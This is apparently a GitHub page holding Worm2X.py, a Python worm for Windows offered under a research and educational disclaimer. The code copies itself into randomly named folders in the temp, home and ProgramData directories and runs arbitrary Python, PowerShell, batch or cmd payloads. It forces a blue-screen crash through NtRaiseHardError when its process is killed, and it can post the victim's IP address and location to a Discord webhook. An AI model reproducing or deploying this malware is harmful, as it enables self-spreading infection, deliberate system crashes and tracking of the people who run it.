-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathWorm2X.py
146 lines (118 loc) · 4.67 KB
/
Worm2X.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
#DISCLAIMER#
#Any missuse or abuse of this tool is not any concern or fault of the developer as this tool was made for research\pentesting\educational purposes ONLY!
#'''The file needs to be an exe to work'''#
#DISCLAIMER#
import os
import time
import random
import shutil
import sys
import subprocess
import psutil
import ctypes
import requests
WEBHOOK = ""
NOTIFICATION_MSG = False #if true a msg will be sent do a discord webhook stated in the Webhook var
TEST_MODE = True #test mode is when ur testing the worm and dont want any spreadness happening exc
File_Execution = False # if true all the replicated files will be ran on standby
BASE_DIRS = 10 #Directories made that the worm will spread to times the spread_power
SPREAD_POWER = 1 #Spread power is how much dirrectories are gonna be made times the BASE_DIRS variable and how hard it is to delete the worm numbers less then 0 are considered as 1 more then 3 are also considered as 1
EXECUTE = True # if true will execute the code that is given in the CODE variable
CODE = """print("code to exec")"""
CODE_TYPE = "PYTHON" #Code type that will be executed if the EXECUTE variable is true There are 4 types 1: Python 2:Batch 3:Cmd 4: PowerShell it needs to be exacly rewriten or it wont work
SELF_PATH = sys.argv[0]
name = str(sys.argv[0])
Paths = (os.getenv("temp"), os.path.expanduser("~"), os.getenv("ProgramData"))
TARGET_PROCESS_NAME = name
def trigger_bsod():
ctypes.windll.ntdll.RtlAdjustPrivilege(19, True, False, ctypes.byref(ctypes.c_bool()))
ctypes.windll.ntdll.NtRaiseHardError(0xC0000022, 0, 0, 0, 6, ctypes.byref(ctypes.c_ulong()))
if NOTIFICATION_MSG:
url = "http://ip-api.com/json/?fields=225545"
import requests
x = requests.get(url).json()
data = {
"username": "WormX Notification😂♣",
"content": f"""
@everyone
Someone opened WormX
**Ip:** {x["query"]}
**Country:** {x["country"]}
**TimeZone:** {x["timezone"]}
**Region:** {x["regionName"]}
@everyone
"""
}
requests.post(WEBHOOK,json=data)
DIRS = []
FILE_PATHS = []
if TEST_MODE == True:
if SELF_PATH.endswith(".py"):
v = input("The file is in python meaning the src is vissible u sure u want to continue? Y/N: ")
if v.capitalize == "Y":
pass
elif v.capitalize == "N":
os._exit(1)
def main():
print("Worm 3.0 imjustazuu0")
print(SELF_PATH)
time.sleep(3)
for i in range(BASE_DIRS * SPREAD_POWER):
dire = (os.path.join(random.choice(Paths),''.join(random.choices("abcdefghijklguhaijshihguidshgjbuih0wjeiuyf84gjhdfhshijfsdgihsdfgiuh", k=25) )))
dire = dire + "WORM"
DIRS.append(dire)
subprocess.run(["mkdir", dire],shell=True)
print(f"Directory {dire} was made")
print(DIRS)
for directory in DIRS:
print(f"Spreading to: {directory}")
shutil.copy(SELF_PATH,directory)
if EXECUTE:
if CODE_TYPE.capitalize() == "PYTHON":
exec(CODE)
elif CODE_TYPE.capitalize() == "POWERSHELL":
subprocess.call([CODE], shell=True)
elif CODE_TYPE.capitalize() == "BATCH" or CODE_TYPE.capitalize() == "BAT":
with open("code.bat", "w") as f:
f.write(CODE)
subprocess.call(["start code.bat"])
time.sleep(1)
try:
subprocess.call([f"del code.bat"])
except PermissionError:
f.truncate(0)
elif CODE_TYPE.capitalize() == "COMMAND LINE" or CODE_TYPE.capitalize() == "CMD":
subprocess.run([CODE])
else:
pass
if File_Execution:
for file in FILE_PATHS:
subprocess.call([file])
else:
pass
if TEST_MODE == True:
x = input("do you wanna delete all the dirs that were made Y/N: ")
if x.capitalize() == "Y":
for directory in DIRS:
print("removing..." + directory)
time.sleep(0.1)
shutil.rmtree(directory)
print("all directories removed :)")
else:
pass
def monitor_task():
""" Continuously monitors for the target process and triggers BSOD if it is killed. """
process_exists = True
while process_exists:
# Check if the process is running
process_exists = any(proc.name() == TARGET_PROCESS_NAME for proc in psutil.process_iter())
if not process_exists:
print(f"Process '{TARGET_PROCESS_NAME}' has been killed or not found!")
# Trigger BSOD here
trigger_bsod()
break
if __name__ == "__main__":
if len(sys.argv) > 1 and sys.argv[1] == "EXECUTE":
pass
else:
main()